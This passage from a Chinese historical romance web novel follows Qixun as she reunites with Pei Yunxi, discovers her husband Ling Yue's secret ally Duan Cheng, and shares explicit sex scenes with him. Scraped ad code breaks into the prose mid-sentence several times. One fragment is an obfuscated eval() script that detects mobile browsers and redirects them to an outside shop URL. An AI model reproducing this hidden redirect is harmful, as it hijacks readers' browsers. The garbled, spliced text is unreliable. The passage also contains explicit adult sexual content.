管事立刻反应过来:“是,就在这屋里,小的这便给夫人取出来。” 说罢,他便走到房间西侧的矮柜边,从袖中拿了钥匙出来,打开其中一个柜匣,取出一只檀木长盒,放到案上打开,盒中正躺着一管翠绿玉笛。 栖循回到案前,执起玉笛仔细看了看,对如棠如葵道了声“走”。 天禄院就在北楼后边,只是中间隔了一个湖,湖边植了青松绿梅。 栖循沿着湖边小径,慢慢往那亭子行去,泠泠琴音愈来愈近,就在她快要走到亭子前的廊桥时,琴音忽然停了,但只片刻,复又重起,却是清悠不再,代之浑厚劲透,如九天之上,云海苍渺。 栖循脚下微顿。 ——是《九霄》,这一曲用指极难,起承转合,各有神妙。 她提起裙摆,加快脚步穿过两旁的青松,踏上了廊桥。 视野豁然开阔。 不远处的临湖亭中,风姿如玉的男子一袭暗金鹤白广袖,正侧对着她,端坐于古琴之前,湖风将他的袖袍吹得微微鼓起,修长的十指从容跃然于琴弦之上。 栖循望着那人,脸上顿时闪过诧异之色。 恰这时,一阵清风拂来,亦吹起了她轻盈的披帛,她回了神,犹豫片刻,仍是横过了笛子,轻抚玉管,侧耳仔细辨着流动的琴音变化。 须臾,琴声开始不断上扬,她抬起双臂,指尖微动—— 清澈明亮的笛声,如龙吟穿透九霄。 笛声清亮,与沉厚古琴合奏,本易喧宾夺主,但栖循极会控制气息,且她与亭子隔了一小段距离,用的又是音色比竹笛圆润许多的玉笛,远远相和,反倒浑然天成。 亭中之人眉心一动,一双含光凤目望过来,似是弯了弯,随即却轻轻阖上了眼帘。 栖循亦微微闭上了双眸,笛声继续随着琴音游动,仿佛游龙卧于九天之上,隐于层云之间,轻吟过后,俯看人间。 见山岳壁立,见江河涌流,见生灵求食于林间,见众生奔走于尘世。 “!”霍然,一声金石之音,惊雷炸起,游龙引颈长嘶,摆尾自云层之巅遁入尘寰。 天地为之变色,日月为之新生…… 最后一个音落下。 栖循睁开了眸子,目光复杂地望向那人,那人亦睁眸,左手指尖尤按在震颤不止的琴弦之上,与她遥遥相视。 静立片刻,栖循提步朝亭子走去。 “叶娘子,许久不见。” 那人广袖掠过琴弦,缓缓起身转向她,声线亦如金石一般,沉澈动听。 栖循一下顿住,停在了他三步外,没想到这人现在竟和凌越那般高峻了,一站起来,无端有种迫人的气度。她弯了弯唇角,回道:“确实许久了,没想到竟会在此处再见裴公子。” 那人低笑一声:“叶娘子还记得某?” 栖循眉梢微挑,裴云晞这张脸怎么可能不记得?五年前,他昳丽容貌已叫人侧目,如今变化虽大,五官却仍似当初。 只不过,栖循怎么也没料到,当初又厌世又倔强的美貌少年,长成后,竟会是这般风神秀彻,清雅如玉的挺拔男子。 那厢,裴云晞已继续道:“五年前因琴与叶娘子结识,不想今日重逢,又与叶娘子合奏。” 栖循听这话却是大窘,面上微红,忙道:“当年一别,于音律一道再无多少长进,今日又让裴公子笑话了。” 这是她第二次在同一个人面前班门弄斧,所以刚刚认出人时,她才会犹豫。 第一次是当初她和外祖途径建康,于兰溪停留时偶闻琴声,外祖说弹奏之人天赋极佳,年少而琴技已是出类拔萃,她便生了不服之心,冒冒失失地以洞箫和之。 天知道,她那时才十三岁,于音律根本没有真正开窍,只不过在京城同龄之中尚属还可,和裴云晞相比,却是云泥之别,所以一出声便毁了人家好好的曲子,当下就被和裴云晞同行的人嘲笑了。裴云晞倒是没笑她,也没说话,一副对什么都兴致缺缺的样子,曲子被打断了便也不弹了,但在经过她身边时,却随口提点了一句。 就是那一句,让栖循一下有了醍醐灌顶的感觉,可又似懂非懂,当天回去琢磨了半夜,第二天就缠着外祖带她去找人,打听到昨天那一行都是江南世家裴家的人后,外祖便带着她去拜访了裴家,裴云晞便也听从家里的意思,指点了她三天。 “叶娘子于箫与笛已属精湛,只是平日疏于修习罢了。”裴云晞含笑望着她,如松风水月,“何况合奏不在技艺,而在心境相通。” 栖循略有惭愧,这两年她确实少习音律,实在是外祖过世后,各种事务太过繁杂,“裴公子所言极是,日后定当多多修习。” 如此客气应对了一句,她便转了话头,试探问道:“听说祁王爷今次要亲自进京为陛下贺寿,裴公子莫不是与王爷一道来的么?” 她有此一问,乃是因裴家三代追随老祁王,几乎可以说是祁王府家臣了,四年前,身为庶子的谢云昭之所以能在三个嫡兄和一位嫡姐的夺权战中异军突起,最后绝地反击,承袭祁王之位,便是因为谋得了裴家的支持。 而作为裴家幼子的裴云晞,正是谢云昭心腹之一。 栖循还记得当年在裴家学音律那三天,自己见这少年长得实在漂亮,总忍不住与他找各种话说,裴云晞却都无甚兴致,一张脸一直是写满了厌世,也唯有说起谢家的事,尤其是谢云昭时,他才会有些不一样的反应。 果然,裴云晞道:“确实与王爷一道出发,只是某快马先行,入京为王爷打点。”他说到此处,又笑着问栖循,“此事还未有人知,不知叶娘子可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 否为某的行踪保密?” “裴公子放心,我今日未来过此处,也未见过公子。”栖循听此当即应下,单为当年那指点之情,这也是不好拒绝的要求。 说完,她心思又转了转,虽年少时略有些情谊,但各自皆知日后迟早会兵戎相见,也皆存警惕之心,实无必要叙旧了,况且自己已嫁做人妇,亦不好与外男独处太久,便接着道,“那我也不打扰公子雅兴,这就告辞了。” 裴云晞深深望着她:“好,日后或还有机会与叶娘子再见。” 栖循与那双极为好看的凤目对视一瞬,心中微觉奇怪,却也说不上具体,于是敛衽作礼后,转身从廊桥离开。 直到淡绯的轻罗裙角消失在青松之后,姿容如玉的的男人仍负手立着,没有动。 这时,一个身形高瘦的独眼护卫和一个红衣女子,从亭子另一头走近他身后,独眼护卫开口问:“看样子,小娘子还记得王爷?” 话一出,旁边红衣女子一把妩媚的声音便嗤他道:“这还用问?咱们王爷神仙般的人物,哪个小娘子见过一回能忘怀?” “这岂是一回事?”独眼护卫冷声反驳,“五年前王爷还未有这般高,气度也大为不同……” 谢云昭并未理会二人毫无营养的争执,他慢慢收回了视线,转身在古琴上随意拨动了一声,淡淡问道:“事情如何了?” 身后二人一听,立刻不吵了,红衣女子恭敬答:“都已安排好了,北边过来的人今晚就能到。奴家做事,王爷便放心吧。” 素白修长的手指拂过七弦,带起一串清泠琴音。 “好,那就开始吧。” …… . 栖循快步沿湖边原路往回走,从刚刚起就盘旋在心头的疑窦愈加清晰。 这几年,江南眼线传回的消息明明都说裴云晞身患恶疾,不良于行,不出院门,平日都是靠他人将外面的形势转述于他,他再手书策论,派人呈给谢云昭,可今日看来,他分明跟自己一样,一直在装病。 那么他这几年难道也是故意隐藏行踪,人根本不在建康,而是在外替谢云昭做事? 还有,他一个谋主家臣,琴音之中,怎么会有潜龙出渊之志?那一身气度更是雅量高致,不似臣下,总觉得有些怪异,可人分明就是五年前那个人,她不会认错…… 待回到北楼雅间,她便立刻让如棠研磨,提笔快速写了一封信后,交给管事:“尽快送到沈贵手里。” 想了想,又交代道,“天禄院的情况盯得紧一些,尤其注意他见了什么人,还有,他身边近侍的动向也仔细留意。” 管事一听,便知天禄院的人果然非同寻常,赶紧躬身接过信应是:“小的明白。” 栖循又看向手边那管翠玉笛,眸光微凝,祁王入京,必然有他的目的,也必然会搅动一池浑水,本都是预料中事,可见过裴云晞后,不知道为何,她心里隐隐有些不安。 忽而又想到了凌越,想起一起用早食时,他的那些话,他那份暗藏锋芒的沉稳自信。 她蓦地站起来,对如棠如葵道:“回府。” 19.遗憾 回到府中,时辰还早,栖循不再让自己院里的婢子去盯着,而是直接与钟仪交代了,凌越一回来便来通知自己。 这一日白日就在含章院里,查看各地送来的消息、处理需要她亲自拿主意的事务。 到晚间用过暮食,却还未等到凌越回来,栖循想了想,索性带着两个侍女去了外书房。 如棠如葵留在外面,钟仪为她上了茶,又多点了两盏烛火后,也退去门外,她独自进了书房,也不看其他的,径直去找兵书。 随意翻开一本兵法,里头果然有凌越的详细注解,字迹潇洒飘逸,却又锋芒毕露,像是看过去时,奇谋妙策、排兵布阵、进退之道自然显于心中,于是信手而就,援笔立成。 栖循来了兴致,站在书架前就看了起来,越看越发觉,凌越于兵家果真是天纵之才,那些短短几字晦涩深奥的句子,经他一注释,便令人豁然开朗,甚至栖循仿佛能根据他的注解,去想象一场又一场或惊心动魄,或波诡云谲的战事。 不知不觉,她便看入了迷。 也不知在书架前站了多久,直到烛火被风吹得晃了晃,栖循才惊觉身上似有一道视线,她一抬头,正见凌越站在门口处。 “夫人今日又在看什么?”凌越见她终于发现了自己,笑着向她走过去。他其实已经站了一会儿,见她看得实在专心,一时倒不忍打断,等这时走近了,低头一瞧什么书让她如此着迷,却不想这次真是本兵书,不由失笑,“看来夫人当真想做谋士。” 栖循微惊之后,反应过来,眉眼一弯:“用兵一道,我怕是谋不了什么,其他方面,将军或许可以考虑一下?” 凌越墨眸注视着被自己半罩在烛火阴影中的人,自穆三的事和昨夜那番对话,尤其还有那两个吻后,他对她的态度已不像之前那般难以理清,但真要说与她毫无保留,共谋大事,却还是早了一些。 “好,我也希望有一日能与夫人夫妻同心。”他笑了笑,接着话锋一转,“夫人特意在这里等我,可是有什么事?” “我是想问问将军,”栖循亦知趣地顺势接过话,若是可以,她真想与凌越谈谈裴云晞,不过自己既答应了保密,此时便只能说另一件事,“连州的叛乱,陛下打算派何人带兵去平?” 凌越挑了挑眉:“陛下还未打算派朝廷禁军去镇压,因他和杨相公都认为我是有意夸大其词,地方军就可平息连州的叛乱。夫人好似特别在意连州的事?” 栖循嗯了一声,一面将那兵书放回书架,一面缓缓将原因如实道出:“几年前,我和外祖曾途径过连州,见连州土地丰饶,当地民生却比其他州府更加艰难,觉得很奇怪,一问之下才知,连州州官是个巨贪,本来朝廷的税就已经够重,他竟又在此之上私自加了两成税。当时又因旱情闹了饥荒,那州官还和地方豪族一起侵吞了七成赈灾粮,导致饿死了数千百姓,还有无数百姓眼看也要活不下去。 “我外祖见此,明白指望不上朝廷,便命手中周边几州府的商号出钱买粮,全都送至连州城外施粥救人,又命几家药铺派出大夫,带着药材前来为灾民义诊,如此不计损失坚持了近一月。” 凌越听到这里,又记起昨夜的那些话,微微有些动容,道:“傅公高义。” 栖循抿抿唇,外祖虽只是个商人,但相比那些三公九卿文人墨客,确实当得起这声“高义”。 她继续说:“那州官见有人做傻子替他赈灾,自然乐得只当不知,可不想,施粥一事渐渐传了出去,附近的几伙山匪都听说连州来了个撒钱的善人,于是联合起来,在半个月后,趁外祖和我在城外时突然袭击,想绑架我们索要天价赎金。我们一路虽然带了不少护卫,可山匪人数实在太多,根本抵挡不住,更可恶的是那州官竟然不愿派兵相助。” 说到这儿,栖循眸中泛起冷意,顿了片刻,才又轻叹口气,接着道,“最后是连州城外的百姓自发帮我们对抗山匪,不要命地打了五天,马匪见确实捉不住人,才终于退走,我和外祖也才得以脱身。” 她抬头望着凌越:“将军一定见过那种饿了许久,饿得皮包骨头的人吧?那些灾民就是这样,虽然已喝了一个月的稀粥,但其实仍孱弱得很,甚至在山匪手下都躲不过两刀,可就为了那微不足道的几碗粥的恩情,他们还是不怕死似地冲上去,用数不清的性命,为我和外祖挡出了一条生路。” “后来,我和外祖离开连州时,外祖说,他也不知道自己这次是做了好事,还是好心……办了坏事。” “自然是好事,”凌越已完全明白了她的话中之意,“或许同样是死了许多人,可傅公善行会在百姓心底留下希望,否则这次叛乱的规模也许会更大。” 说完,他忽而又微微笑了笑,“若事情确如我所料那般恶化,杨相公必会举荐他的侄女婿段成去平叛,而若皇帝陛下在段成和忠勤伯、广平侯三人间犹豫,我可为忠勤伯和广平侯加把火,反正我说什么,他定会反着来。” 栖循听了目中一亮,她心里很清楚,无论自己多同情连州的百姓,可就和其他地方被逼反的叛军一般,一旦走上这条路,这些曾经救过自己和祖父的人也只能像当初那些山匪那样,去抢其他的百姓。 平叛势在必行。 可同样是平叛,却又不一样,如忠勤伯和广平侯向来残暴,以屠戮为乐,而这个段成,虽然是杨珪的人,但从未听说过他有暴虐之名,大约还是会行招安之事,不至于赶尽杀绝。 “夫人放心了?”凌越看着眼前端妍清丽的面庞舒展,若新月生晕,莫名也觉一阵愉悦,眸中笑意更深。 “嗯。”栖循应了一声,却又被他这样笑得略有些难为情,下意识地便又找了个问题,“当年凌家那般光景,将军却宁愿去北军,也没去各处平叛,是不是……也是不想去打那些被逼反的百姓?” 她口中的那般光景,说得是因凌越的父亲凌宗阳突然去世而导致的凌家短暂的没落。 传闻凌宗阳虽然常年在外征战,但与结发妻子柳氏一直伉俪情深,十一年前柳氏却忽然得了恶疾,半旬时间便暴毙于京城家中,凌宗阳哀痛过度,亦在半年之后,随爱妻而去,留下两人八岁的独子凌越独自支撑凌家嫡系门庭。 凌宗阳过世后,凌家旁支虽还有不少人在各地为官为将,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至此没有能在朝中说得上话的,凌家也便日渐没落。 等到凌越十四岁时,他原本可以选择入禁军去各地平乱,那些落草为寇的百姓战斗力并不强,他可以更快凭军功重新光耀门庭,可他偏偏选择了其他世家子弟都避之不及的北军,去打凶悍的突厥。 凌越自嘲一声:“算是吧,可最后不还是去平乱了?” “可将军招安了十几万人,这些人还有他们的家人,现在那两个州郡好好地活着。” 栖循长睫眨了眨,带了点俏皮的笑意。 凌越凝眸看了她一会儿,低笑:“是。” 书房里安静下来,许是有了前两次密集的经验,两人的唇再次轻触在一起时,栖循觉得自己好像习惯了一些,可偏偏这次,凌越却只如蜻蜓点水似的啄吻,吻了几下后,停下来深深看着她。 栖循也仰头望着眼前剑眉星目的男人,渐渐想起昨夜自己的心思,这男人如此英俊,掌下抵着的胸膛如此宽阔坚硬,她亲眼见识过他在战场上率骁骑陷阵的神武,亦知道他文物筹略的天纵之资,若没有静慈庵里那个人,她当真想与他轰轰烈烈爱一场,即使最后还是要分开,也值得。 可现在,他们只能有单纯的夫妻之实。 栖循品尝着这一点遗憾,倏尔踮起脚,主动攀住了他,将自己的唇送上去,轻轻在他下唇上舔了一下。 凌越眸中一动,下一瞬,反客为主,更紧地揽住了她的腰,将她贴向自己,含住柔软的唇瓣吮了片刻,便又撬开她的齿,与她唇舌相缠。那样的力道,几乎让栖循有些疼,脸颊又开始发烫,可这次她没有躲,反而搂住了凌越,青涩地回应。 蓦地,凌越把她压在了书架上,栖循仍不明所以,只绯红着脸,承受着男人肆意的掠夺,忽然,她惊喘了一声,脸颊更红了,一下惊慌地想躲,可男人有力的手臂强势地将她半软的身子搂了回去,高峻的身型和清冽的气息将她完全罩住。 长年握剑持弓的手修长有力,骨节分明,掌中带了一层薄茧,触到柔腻雪白的肌肤之上,带起一连串的颤栗,待到诃子一边脱落,被凌越用力握住时,栖循一下偏开了头,张着口紧张地喘息,莹白的脖颈也染上了一层浅浅的绯色。 凌越额头抵着她停了片刻,两人炙热的呼吸交错在一起,忽地他又在栖循唇上啄了一下,而后倾身一把将人横抱起来,阔步往书房里间的床榻走去。 栖循那点习惯早就烟消云散,心又跳得急乱起来,脸紧紧埋在他颈项里,等到被放在榻上,强健的身体覆上来时,她立刻清晰地察觉到凌越的变化,只觉得心脏一时咚咚跳得更快…… “笃笃笃!”就在这时,一阵和她心跳一般急促的叩门声同时响了起来。 “郎君,”门外传来钟仪无知无觉的声音,“连州急报,陛下召诸位将军连夜进宫商议。” “……” 屋内的两人面面相觑。 片刻后,栖循唇角一弯,忍不住先笑了出来,笑声轻盈柔软。 凌越深吸一口气,也笑了,俯下来吻了吻她,微哑着声音道:“一个两个,是不是都故意跟我作对……” 20.秘密 凌越离开后,栖循又独自在书房缓了一会儿,还是觉得有些好笑,心里的那点不安和对连州百姓的担忧,都被消解了。这晚回含章院,便睡了一个好觉。 次日一早,刚醒,如棠进来禀报,原来昨夜的急报报的正是连州和逺州、伧州等几地的叛军汇合到了一起,五原一带的叛军总数达到了二十万人以上,除了伧州刺史带兵坚守,其他几个州府的州官全都弃城而逃。 栖循已听凌越提前预测到,也就没什么惊讶的,只等着看被派去平乱的将领是不是也会如凌越所说。 等到下午申时初,宫内传出消息,经过好一番朝堂争论,平乱的将领终于定了,果然是杨珪的侄女婿段成。 彼时,栖循正在案前练字,听闻消息,彻底舒了口气,这算是对连州被逼反的百姓最有利的选择了。 如葵一面为她研磨一面感慨道:“夫人,大将军真厉害,都被他说准了!” 栖循笑了笑:“行军打仗首要的就是能准确地判断形势,要不你以为他那么多胜仗怎么来的?” “夫人说的是,”如棠接道,“奴婢听说这位段将军还曾和大将军合作过一次,在朔方一起打过突厥?” “嗯,”栖循随口应了声,“当时突厥人突袭朔方五镇,他二人分别从两个方向前去救援,后来在朔州城合兵一处——” 说到这儿,她的声音忽地戛然而止,手中的笔也顿住了,笔尖在案上的白宣上泅出了一团墨迹。 “夫人,怎么了?”如棠和如葵见状都吃惊道。 栖循脑海中,忽然生出了一个奇异的联想,她将笔一放,兀自坐进圈椅中快速思索起来。 自昨天早上,凌越说了崇宁会被嫁给杨景达的事后,她一直疑惑凌越是从何处得到的消息,以他在京中的时日和周刘两家的眼线布置,不该比自己先听到风声才对。 所以有没有可能,凌越或许根本不是通过什么眼线知道的这个消息,而是直接从杨珪父子最信任的人口中得到的消息呢?有没有可能,他就是从段成口中直接得到的消息? 有没有可能,就是两年前朔州那一战,段成已经被凌越收服,暗中站到了凌越一边?! 虽然那时凌越不过十七岁,两人也仅仅并肩作战两个多月,可那一战打得极为惊险,当时打胜了的消息传回朝中时,都几乎无人敢信,也就是那一战,彻底奠定了凌越在北军的威望。 而段成虽然是杨珪的侄女婿,一路得杨珪提拔,可此人无非也就是行事跋扈浪荡了些,却很少参与杨珪那些陷害忠良的事。他若是个眼光长远的,何尝不能预见未来之事而早做准备?同是领兵打仗的,他又何尝看不出凌越的天纵之才? 越想越有可能,栖循杏眸中闪出兴奋之色,倏地站起身,吩咐道:“如棠,马上给青丘传消息,让他盯住段成的行踪!” …… . 当夜亥时,上京最豪奢的酒楼,逍遥庄。 一身锦衣的高大男人被随从从元字雅间扶了出来,醉醺醺地走下楼去,在庄子门口上了一辆早就候着的马车。马车缓缓驶出,至雀衣巷巷口时,略停一下,随即继续往前。 待车马辚辚声彻底消失在夜色中,巷口阴影处忽然走出一道身影,正是刚刚那高大男人,可此刻他竟已没有丝毫醉态,脚步稳健地快速往雀衣巷深处走去。 凌越负手立在不大的前厅里,静静看着铺在身前方桌上的大殷舆图。 这时,门被轻轻叩了两声,旋即被推开,一身酒气的段成径自跨进门来:“凌大将军今日可是好一番贬我!” 凌越的目光从舆图移向门口,笑道:“不然此事还能有你的份?” 段成哼笑一声:“行,大将军好谋略,能让段某我打胜仗就行!” 话落时,人已大步走到了桌边,也低头去看那舆图。 两盏茶后。 凌越一番语罢,段成又从舆图中抬起头,挑着眉问道:“这番战略如此周全,你早在今日议政时就想好了吧?” “更早,昨日。”凌越淡笑了笑,“战事没有周全之说,这也不过大致方略,到了那儿,还需你具体谋划,随时应变。” “行,我有数。”段成道,“可还有其他交代?没有我就先走了,家里娘们疑心重得很。” 凌越略作沉吟,还是加了一句:“这一趟,能招安便招安,多费些时间也不碍事。” 段成从雀衣巷出来后,一道黑色的身影亦从巷子里无声尾随而出,却在巷口选择了另一个方向折去。 他脚下速度极快,没多久,到了大将军府后门,口中发出几声长短不一的鸟叫,片刻后,将军府后厨的胖帮厨出来倒了一桶泔水。 如棠急匆匆到了里间,将青丘带来的消息复述了一遍。 栖循唇边浮起了笑意,竟然真是如此!怪不得交出西山兵权后,她没见凌越有任何补救的动作,倒是让自己好生紧张了一番,做了许多安排,只怕两人会死在京中呢。 原来是有段成这般隐藏如此之深的势力。段成掌南衙禁军八卫多年,即使他出了京,想必仍有二三卫能为凌越所用,人数是不多,但若真出现难以挽回的情况,应该足够帮他们保命出逃了。 …… 这一日,二人自是没有见面了,凌越回府时已近三更,便直接回了尧光阁休息,栖循确认消息后,也睡下了,睡得似乎更安稳了一些。 等到第二日,凌越仍是一大早就进宫议政,与一帮重臣陪着高贽连续三日演勤政的戏码,议得内容却毫无意义,到下午又被高贽装模作样地请去城外,给出征禁军激励士气,这倒还有些意义,众将士见到他,确实是士气高涨,那一声声“大将军”喊得可比“陛下”有力的多,气得高贽脸色都变了,却还不得不作大度。 栖循则在含章院内又梳理了一遍最近的事,从她和凌越京郊被伏击,到李府赏菊宴崇宁的风波,到穆星川的事。 除了穆星川一案脉络清楚,其他两件事仍是有许多疑点,尤其是崇宁的事,栖循推演了半天,依旧看不出来高贽和杨珪还能利用崇宁做什么,也依旧不能完全确定李如岳和崇宁背后的“主人”就是徐光庭, 她甚至假设,“主人”有没有可能是谢云昭,毕竟他有裴云晞这样能力卓绝的人物作为谋主。 但目前看来,几乎没有明确的线索指向他,且谢云昭承袭祁王之位后,江南内部可一点都不太平,光坐稳家主之位,清除他那几个嫡兄的势力和压制嫡姐谢云英,就要耗费无数心力了,何况这四年间他还恢复了一些江南的民生,怎么想,他应该都没有精力如此深入地插手京中之事了。 推演不出结果,她决定暂时不去想了,等苗疆怪医和甄氏族地的探查有了结果再说。

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栖循一怔之后,回过神来,明白定是这男人特意吩咐过外面那些护卫婢女了。 她眉眼一弯,背起手,慢悠悠向廊下迈去:“今晚宫中不是为段将军摆出师宴么,将军怎么这时便回来了?” “白日不小心抢了皇帝陛下的风头,”凌越望着轻罗绣裙向自己走来的女子笑道,醇和低沉的声音在清凉的月色中似乎尤其好听,“兵法云围师必阙,本将军自然也要见好就收。” 栖循思绪轻轻一转,大约能想象怎么回事,杏眸中笑意更深:“将军好大的胆子。” 凌越勾了勾唇角,继而也问:“夫人今日似乎心情不错?” 栖循轻快地嗯一声:“我知道了将军的一个秘密,是以心情甚好。”她一步步踏上了廊阶,口中正要继续,却倏地嗅到什么,话锋立刻一变,抬头微嗔道,“将军身上可真香呢。” 凌越扬了扬眉,晓得是自己在宫里沾染了些味道。两人这时已离得很近,他低笑一声,也不急着听她说什么秘密了,忽而往前一步,有力的长臂一伸,强势地将人揽入了怀里,浓酽墨眸极近地看着她:“夫人莫非呷醋了?” 栖循猝不及防贴到他身上,柔软的手掌下意识地抵住了坚硬的胸膛,她面上一时微热,嘴上却不愿认输:“我呷哪门子醋?将军不是都回来等我了么?” 语毕,她自己的心跳先快了两分。这话里意味太明显,前夜未尽的事同时浮上二人心头。 凌越的胸膛笑得微微震动:“是,等夫人好一会儿了……” 低低的尾音消失在相交的唇间,凌越揽着柔韧的腰肢,毫不客气地深深侵入她。栖循脸上羞红,却仍垫着脚,仰头与他碾转亲吻,双手也慢慢从他胸膛移到后颈,在他用力吮住自己的一瞬,反射性地紧紧搂住了他。 濡湿的唇舌水声在月下愈加清晰,急切,许久,栖循整个身子都软进了他怀里,口中溢出了细碎呻.吟,凌越这才微微松开她一些,低头看着水雾迷蒙的眸子,暗哑道:“我先去沐浴。” 话落,却见她眸中似闪过一丝失望,他又低低笑着补完,“一起洗。” 21.共浴 含章院的浴房里早已点上了琉璃灯,备好了热汤,浴池上方氤氲着一层白色的水雾,薄薄浅浅的,并掩不住什么。 栖循一进来就后悔了,两人之间到底还生疏,光想到要裸.裎相对,面上便已隐隐发烫了。 她没有褪尽衣物,裹着诃子小衣就进了浴池,抬头却见那边凌越已脱得干干净净,一转身,年轻修长的身形猝然撞入眼里,肩膀宽阔结实,腰部紧窄精悍,胸膛和腹部沟壑分明,却并不过分鼓胀,双腿修长矫…… 栖循倏然移开了眼,心脏蓦地一阵急跳,只觉脸上更热了。 凌越亦进了池子,略作清洗,长腿便向缩在另一头的女子迈去,不容躲避地将她圈在自己和池壁之间,压低了清醇的嗓音笑:“夫人作什么这般紧张?我会吃了你么?” “我、我哪有紧张?”可话一出口,分明是露了怯,栖循涨红了脸,恨不得给自己一脑瓜子,让自己争气点,有什么好怕的?! 凌越也不戳穿她,只勾着唇角又低头去吻她,一手伸过去,将她身上所剩的一点点衣料都强势地脱了,扔到池边,然后整个人覆上去将她紧紧压在池壁上。 这时的吻和之前又不一样了,唇舌纠缠,伴随着身体紧密相贴的触感,栖循觉得自己脸上简直要烧起来,她努力想转移注意力,想凌越在京郊月下亲自入阵的神武,想他在兵书上的那些注解…… “在想什么?”凌越却发现了她微不可察的一点不专心,惩罚似的啄吻她,有力的手从一片雪白间慢慢往下滑去,“看来是我还不够努力?” “没想什么嗯——”栖循本是不服软的辩驳忽然变了调,化作了短促的惊吟。 凌越眸色愈深,那日在李府佛堂,他就发现那小珠子似乎特别敏感,这时便低头细细看着她的反应,修长的手指肆意地尝试起各种来。并无多久,怀里的人渐渐伏在他臂上绷紧了,雪白的下颌微微扬起,他又有使了些力,女子极力忍着的呻.吟一下带上了哭腔,长长的一声,片刻后,身子一软,全然倒进了他怀里。 “夫人不紧张了?”他低声笑起来。 栖循绵软无力地伏在他坚硬的胸膛上喘了一会儿,慢慢回过神,听他话语里一副从容的样子,自己却被他如此简单就弄得丢盔弃甲,心中一时又羞又不服气,忽而又想到,当初圆房时,他明明没什么经验的样子,怎么现在好像突然懂了那许多?难不成…… 她微蹙了眉尖,无甚威力地哼了一声,闷闷道:“我又不像将军,好生熟练,想必在其他人那练过许多回了,当然不紧张。” “还说没有呷醋?”凌越听得失笑,但总不能告诉她,自己前两天可是看了不少“书”好好研究过,便只道,“哪有什么其他人,只你一个。” 栖循自然不是呷醋,不过是有些介意不干净罢了,这时听他这么说,便抬头去看他,见他俊脸含着笑,坦荡无比,心下其实已经信了,可嘴上还是故意嗔了句:“谁知道呢?” 凌越低头在她耳畔:“是不是真的,一会儿你就知道了。” 说着就捉住她的手,将她引到地方,栖循被烫到了般,吓得要缩回手,却被他强硬地按住了,她心跳得愈发快:“你耍流氓……”最后的话语已被凌越含进口中。 缱绻吻了一会儿,凌越倏地将她抱起来,放到了浴池光滑的石座上,人紧跟着强势地挤进她的□□,低下头,凝视着她,暗哑命令道:“看着我。” 栖循预感到了什么,顺从而紧张地仰起莹白的脖颈,望入那双漆黑墨眸中,忽然,她檀口微微启开,秀致的眉在男人灼烫的目光中蹙了起来,愈蹙愈紧,纤白的手指亦渐渐掐入他强健的手臂里,终于,她受不住似的紧闭了眼,而后又蓦地睁开了,眸中已含了微微的水光,颤着长睫仰头索吻。 吻再次落下来时,池中亦荡起了水波,波纹一圈一圈向外漾去,初时缓和轻柔,却极绵长深重,渐渐地,剧烈起来,一圈圈愈来愈快,愈来愈密,直到最后,终于彻底失了形状,只晃得如将被泼洒出去的水,如被疾风骤雨拍起的急浪。 凌越亦终于彻底弃了平日的克制,仿佛回归战场的杀神,有力的双手牢牢锁着白皙纤秀娇吟低泣的女子,放任自己肆意霸道的侵入和冲撞,凶悍的征伐中带着强烈的渴求和占有欲,不许她躲半分,不许她逃半分。 栖循绷着身子,楚腰拱起,渐渐承受不住那愈久愈深的征伐,“将军、将军……”她急切破碎地唤了起来,想乞求他轻一点,慢一点。 “唤我九渊。”凌越哑着声回应了她,伐挞却猛然一下更加蛮横、更加激烈,栖循脑海中瞬间一片空白,纤细的双臂倏地向前,紧紧攀住了他的脖颈,任由一声惊叫冲口而出。 凌越的动作微顿,深吸了口气,感受着那一阵甘霖热流和猝然紧缩。 “九渊……”下意识的一声细柔低唤,带着似极致愉悦又似惊恐的哭意。 凌越听着,胸口霍然涌上一种说不清的满足,这次与大婚那夜仿佛有什么不一样。他无视她的哭泣求饶,将人更用力地按向自己,被她绞住的劲腰亦再次矫健如豹…… 许久,久到栖循的哭声都哑了,容留的地方湿缠得不成样子,池中水波终于慢慢平静了下来。 凌越抵着重重喘了一会儿,等臂弯中的身子再次柔软下来,颓然倒回自己胸膛上,他垂首轻轻拨开她颊侧两缕被汗水打湿的乌发,见怀中女子原本玉白秀美的脸布满潮红,紧闭的眼睫挂着泪珠,仍在不停地细细颤抖。 好一会儿,那颤抖的眼睫才终于缓缓抬起。 凌越看着她有些懵怔的模样,不由有些好笑,抬起她下巴,在那柔软胭红的唇上吮了吮,声音仍带着几分哑意:“还好吗?” 栖循与他对视了片刻,忽地打掉捏着自己下巴的手,就将额头抵在了宽阔的肩上,小声道:“不知道……” 凌越被她这动作逗笑了,唇贴到她耳边,“羞什么?我不是也一样么?” 栖循一下又抬起头,本是气咻咻的,可身子里还弥漫着散不去的酥酥软软的余韵,话说出来就和撒娇似的:“哪里一样!你分明……” “分明什么?”凌越见她不说了,幽邃的眸子弯弯地盯住她问。 分明蛮横霸道又嚣张。 但说出来,只会更涨了他气势,栖循抿抿唇不说了,偏过头,羞红着脸轻踢他:“快出去。”他那东西骇人得很,即使刚弄过,也还与她严丝合缝的,叫人实在难以忽略。 “好,听循儿的。”凌越纵容地笑着动作。 栖循却被他这声突然的“循儿”激了一下,在他退出去时竟是又一阵绞缠,面上未散的红晕立时又漫上来,等两人彻底分开了,便想往一边躲。 “别急。”凌越一把搂回了她,牢牢禁锢在怀里,而后也不给她反应的机会,快速帮她清理了一番,便横抱着人跨出池子,几步到了浴房的窄榻上,躺下去后,让人半伏在自己身上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958337|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 这一番动作强势又迅速,栖循一点挣扎的余地也没有,柔软的雪团压在温热坚硬的胸膛上更是叫人起羞。 